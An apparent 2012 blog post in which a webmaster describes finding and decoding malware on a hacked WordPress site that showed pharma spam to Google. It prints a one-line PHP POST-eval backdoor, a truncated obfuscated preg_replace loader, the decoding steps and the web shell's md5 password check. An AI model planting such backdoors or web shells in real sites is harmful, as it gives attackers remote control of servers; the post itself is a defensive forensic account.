Hacked Server

Published 2012-08-23


Over the weekend I was informed by a friend that a site I maintain (not mine personally) was showing up in the Google results as being "malicious". While I was researching and fixing the problem, I wrote down my thoughts.


After hearing this news, I Googled the site's name (it is distinctive, but shall remain nameless here) and found that it indeed had been flagged by the Googlebot as having been hacked.

Short backstory: Recently the owners of the site had undergone some serious flack from a hate group, and had been flagged by this group on the Web Of Trust (WOT), a site that warns you of unsafe websites. The WOT is a really good idea, but this hate group flagged it in retaliation instead. Because of this, I initially thought that the warning from Google had set off their alarms, so I didn't take it too seriously.

But throughout the day I had a nagging feeling that not all was right with the world, and so I found myself signing up for something that (now that I've used it) I think everyone who ever runs a website should use: Google Webmasters.

Let me take a minute to tell you why you should be using this awesome tool. First, it will give you the actual HTML output that Google sees. As I found out later, the hacked website was only displaying spam to the Googlebot, so I never found it in my other searches. The other reason you should use this tool is because it will check the status of your installed things (WordPress, etc.) and notify you when you need to update them. This is incredibly convenient.

After I setup the site with Google Webmasters, I found out that the site was spewing out things that look like this (of course I renamed the links):

downing <a href="http://site.com">prescription tramadol without</a>
venlafaxine <a href="http://site.com">penegra generic</a>

I'm being a little bit of an onscurantist about the sites contents, but suffice to say that this is definitely not the appropriate content for this site, and at that point I had to deal with the fact that the server had been compromised.

The Plan

Typically, a WordPress hack is found by searching for two PHP functions:

So my initial plan was to search the server for instances of either of those functions using:

grep -H -r -i 'base64_decode' ~/sitename.com
grep -H -r -i 'eval' ~/sitename.com

Doing so brought up quite a few base64_decode calls, and many false positives for eval but all of them legitimate. Working with the command line over SSH was difficult, so I tarred the entire site's contents:

tar cvzf backup.tgz ~/sitename.com

Now I have the files in hand, I can very quickly scan through the files and see if anything catches my eye, and the very first thing I noticed is the file named wp_info.php

WordPress has a very particular naming scheme with all their files, and it looks like this: word-word.php So an underscore looks a little suspicious, and opening it I find this magical bit:

eval(stripslashes(array_pop($_POST)));

That command right there will essentially run anything that is thrown at it by a POST request. Wow, this is nuts. Also, I don't know why I didn't see it in the grep earlier, but there was probably just too much noise to notice it.

That right there is the likely entry point after the hack, but I want to see if I can find anything else, so I press on. Even though I am pretty familiar with the WordPress structure, I downloaded a fresh WordPress install to compare. After browsing around a bit, I found a file in the wp-content/uploads folder named .cache_tofu.php that I did not recognize, and on inspection I found the following at the end of it:

preg_replace("/.*/e","x65x76x61x6c ... x3b",".");

Where the dots are I removed about 24,400 characters from the actual thing. I'm not familiar with the preg_replace function, but the PHP docs say it is basically

preg_replace(pattern,replacement,subject)

so the code above will interpret to just the middle part:

"x65x76x61x6c ... x3b"

But if you'll notice, quite a few characters in that set look like x## which is the PHP way of noting characters in extended unicode, so all you need to do is figure out a way to convert those to normal ASCII and you can read them.

<sarcasm>Thankfully</sarcasm>, PHP plays loose with the encoding, so we can simply turn it to a string and it will print out. But because PHP plays loose, you can't do something as simple as echo "x65x76x61x6c ... x3b"; because it will actually evaluate whatever is there, assuming it's an eval statement, which is an obvious assumption at this point. So here's what you do:

$myFile = "testFile.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$stringData = "x65x76 ... x20x3b";
fwrite($fh, $stringData);
fclose($fh);

With that, I finally got what I was looking for:

eval(gzinflate(base64_decode('5b19fxq30jD8...

This is the standard hack, so now we can unpack the base64 code to see what magic lies beneath. Again, it probably has some eval in it, so just write it to the text file.

Because it uses gzinflate we need to do it this way in our above code:

$stringData = gzinflate(base64_decode('5b19f...

With that, I get a code that is just over 1,500 lines long: pastebin or hastebin.

On reading the code, my jaw hit the floor, and I had to go retrieve some alcohol to calm my nerves.


Alcohol acquired, still a little shook up, going to press on and hope for the best.

So where was I? Oh, right. It is interesting to note that, even within this code, there are things that are base64 encoded. Upon extracting them, it looks like they are Perl scripts. Here is one which was labeled back_connect_p: pastebin And here is another which was labeled bind_port_p: pastebin

Okay, so this is obviously bad, and in more ways than one: 1) have to look around for more bad files, 2) based on the script, it would be safe to assume every password associated with this account (servers, etc.) should be changed, 3) and I still don't know how this got installed.

Let's start on the last thing first.

So we have this absolutely soul crushing code (did you read it yet? did you understand how bad it was? it was very bad!) but we don't know how it's run. Looking at the code, I realized that to run it, all you'd have to do is access it. It's located in the WordPress uploads folder, so we can simply navigate to it at site.com/wp-content/uploads/the_file.php and we get this:

Password login of control panel

Hmmmm. The alcohol is setting in a bit now, and I am starting to feel less like the world will end, so I am curious what is behind the password?

Looking through the code I find that all it takes is this:

if (md5($_POST['pass']) == 'dcc2630fea8d91fbc38ee0acc48001a6') {
	// execute scary code
}

Although rainbow tables and so on exist, I don't have any of that software setup on this computer, so an md5 lookup is not trivial for me. Instead, I boot up the old virtual computer and run the code directly on a PHP server. Here is the screenshot:

Control panel

This is terrible.

So here is what we have so far: There is a script on this site that lets a person pretty much do what they want.

The question remains, how did the script get there in the first place?

Of course, since I don't operate the site (I was just called in to clean up the mess) I am not sure what plugins were installed before, but I am reasonably certain that the people who own the site wouldn't install a plugin that didn't come from the WordPress site.

This limits the possible entry points quite a bit.

One weak point in the WP framework shows up if someone changes the folder permissions of one of the folders. This is addressed quite well in this article. But nobody except myself has SSH access, and only one person has FTP access. I'll ask him, but he seems reasonably smart so he probably wouldn't set stupid permissions.

In fact, I can check whether a file is executable or not using ls -ls and I can see that it is not executable. Furthermore, the file itself was last modified in May this year (2012), although I don't know how long it's been since it was executed. The site is hosted on a shared server space, which could even be the problem.


At this point I am trying to think of solutions. Since all that's run on this server is the WordPress install, I can essentially just reinstall the site and verify that nothing is in the database. The uploads folder can be copied over after I check it.

Being intimately familiar with WordPress I've coached a few people through this process, and even had to run through it once myself, so I know that it's not too difficult.

Still, the annoyance is huge. And I still don't know what caused the security breach that allowed that terrible code to get installed.

For tonight I think I have the server locked down enough that I can leave it, but I think I'll probably reinstall WordPress, it's a pretty fast experience.

Lesson Learned

You should look for the eval function, but you should also look for it in Unicode, which looks like x65x76x61x6c